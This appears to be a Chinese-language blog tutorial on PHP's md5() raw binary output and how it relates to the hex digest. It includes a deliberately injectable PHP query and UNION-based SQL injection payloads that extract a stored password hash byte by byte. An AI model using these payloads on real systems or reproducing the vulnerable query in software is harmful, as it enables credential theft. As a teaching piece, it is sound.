SQL注入和MD5 binary的一些事

SQL注入和MD5 binary的一些事

1. MD5 binary

在php的MD5函数中有一个带有默认值的参数很少被我们注意到
string md5 ( string $str [, bool $raw_output = false ] )

raw_output
If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

$raw_output:输出raw格式,也就是二进制格式,长度16位


2. Simple Example

$str = $_POST['pass'];
echo "RAW_STR: ".$str."<br />";
echo "MD5(STR): ".md5($str,false)."<br />";
echo "MD5(RAW): ".md5($str,true)."<br />";

RAW_STR: admin
MD5(STR): 21232f297a57a5a743894a0e4a801fc3
MD5(RAW): !#/)zWェC塉J€�


3. MD5 binary format and HEX string format

我们将MD5(RAW)转换为ACSII可得到以下关系图
Acsii(Bin): 33 35 47 41 122 87 165 167 67 137 74 14 74 128 31 195
Hex: 21 23 2f 29 7a 57 a5 a7 43 89 4a 0e 4a 80 1f c3

从上面可以看出将33HEX之后得到21,35HEX之后得到23 后面依次类推
由此可以得到其关系流程:
MD5(raw) == ACSII(MD5(raw)) == HEX(ACSII(MD5(raw))) == MD5(STR)


4. Verify

首先用PHP构造一个带有SQL注入的页面
$id = $_POST['id'];
$sql = "select * from admin where Id=".$id;
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "id: " . $row["Id"]. " <br /> Name: " . $row["user"]. "<br />";
}
} else {
echo "Error: " . $sql . "<br />" . $conn->error;
}

注: 在保存MD5 binary的字段选择使用Blob


首先获取 ACSII(MD5(raw))
Id=-3 union all select 1,ascii(substring((select pass from admin limit 0,1),1,1)),3

然后获取 HEX(ACSII(MD5(raw)))
Id=-3 union all select 1,hex(ascii(substring((select pass from admin limit 0,1),1,1))),3

最后将hex出来的数据拼接在一起便得到了MD5(STR)

发表评论

发表评论

*

沙发空缺中,还不快抢~